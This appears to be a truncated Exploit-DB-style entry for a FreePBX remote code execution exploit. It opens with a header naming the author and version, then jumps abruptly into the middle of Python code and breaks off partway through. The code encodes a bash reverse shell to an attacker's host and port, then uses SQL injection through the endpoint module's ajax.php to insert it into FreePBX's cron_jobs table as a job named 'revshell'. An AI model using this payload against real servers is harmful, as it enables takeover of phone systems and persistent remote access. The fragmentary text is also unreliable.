Exploit Title: FreePBX 17.0.2 - Remote Code Execution Date: 2026-08-12 Exploit Author: K3ysTr0K3R (Jared Brits) Vendor Homepage: https://www.freepbx.org/ Software Link: https://github.com/FreePBX/freepbx Version: FreePBX 15.x /dev/tcp/{lhost}/{lport} <&1'" b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode() final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash" hex_payload = final_cmd.encode().hex() sql_payload = ( f"x' ;INSERT INTO cron_jobs " f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) " f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- " ) vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php" params = { 'module': 'FreePBX\\modules\\endpoint\\ajax', 'command': 'model', 'template': 'x', 'model':…